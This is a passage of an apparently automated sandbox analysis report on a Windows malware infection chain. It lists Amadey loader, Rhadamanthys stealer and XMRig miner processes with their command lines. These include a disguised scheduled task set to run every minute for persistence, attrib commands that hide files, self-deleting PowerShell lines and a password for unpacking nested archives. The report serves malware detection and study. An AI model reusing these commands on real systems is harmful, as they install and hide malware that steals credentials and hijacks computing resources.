2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 50 dc ba b7 2b 13 f4 82 00 01 ee 3b 6d 41 b9 1f db ce 6a da 45 Data Ascii: {<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3IjP+;mAjE
2024-12-18 08:07:59 UTC	15331	OUT	Data Raw: 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf c7 7e f6 66 cb f7 9c 2b 6f 14 97 37 59 31 23 9d 13 3f 5c 04 86 Data Ascii: 5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR~f+o7Y1#?\
2024-12-18 08:08:01 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bpqv4uj7fjq2kal0g1sul3rl8c; expires=Sun, 13-Apr-2025 01:54:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ul75Cz0e861ael%2FICwQ88PezTXkEzomeaqaaDP%2BT3i7rWoDDdQR%2Ben%2BITGe8zt4OnJlEjmSdhesPglsNCI3HwouiNF%2FD4l2F%2BKF6EZRnldeYUT%2FxzABiEtaQhCb6Dg1T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3da9968d8543dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1711&rtt_var=651&sent=341&recv=593&lost=0&retrans=0&sent_bytes=2828&recv_bytes=573905&delivery_rate=1668571&cwnd=239&unsent_bytes=0&cid=61f20b1e6fe2e15d&ts=2295&x=0"

Target ID:	0
Start time:	03:06:01
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x890000
File size:	3'003'904 bytes
MD5 hash:	4072633A022E6587009B5CA189FF4613
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1416758119.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:06:03
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x600000
File size:	3'003'904 bytes
MD5 hash:	4072633A022E6587009B5CA189FF4613
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1443119669.0000000004690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:07:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x600000
File size:	3'003'904 bytes
MD5 hash:	4072633A022E6587009B5CA189FF4613
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2004346887.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:07:11
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"
Imagebase:	0x920000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:07:11
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:07:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"
Imagebase:	0x920000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:07:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"
Imagebase:	0x920000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:07:23
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:07:27
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff6c82d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:07:27
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	03:07:27
Start date:	18/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6b2800000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:07:28
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:07:28
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:07:28
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:07:28
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:07:29
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:07:29
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:07:29
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:07:29
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x200000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff7b5d70000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff6bde90000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7b5d70000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7b5d70000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff68afb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:07:30
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:07:31
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff7be5e0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:07:32
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe"
Imagebase:	0x880000
File size:	1'997'824 bytes
MD5 hash:	BD7AFE46E12BF9F5E618CA61FE125634
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000023.00000003.2350989316.0000000001240000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000023.00000003.2360789090.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:07:32
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff719200000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:07:33
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.2341019039.0000000000526000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.2341019039.000000000050A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.2341646325.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.2341019039.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:07:33
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:07:33
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:07:34
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff7be5e0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:07:36
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x270000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000029.00000003.2360437408.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000029.00000002.2372633132.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:07:36
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 640
Imagebase:	0x760000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:07:39
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"
Imagebase:	0x90000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	03:07:39
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:07:41
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"
Imagebase:	0x90000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:08:01
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff719200000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	755
Total number of Limit Nodes:	13

Executed Functions

Function 008C652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,008C652A,?,?,?,?,?,008C7661), ref: 008C6567

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
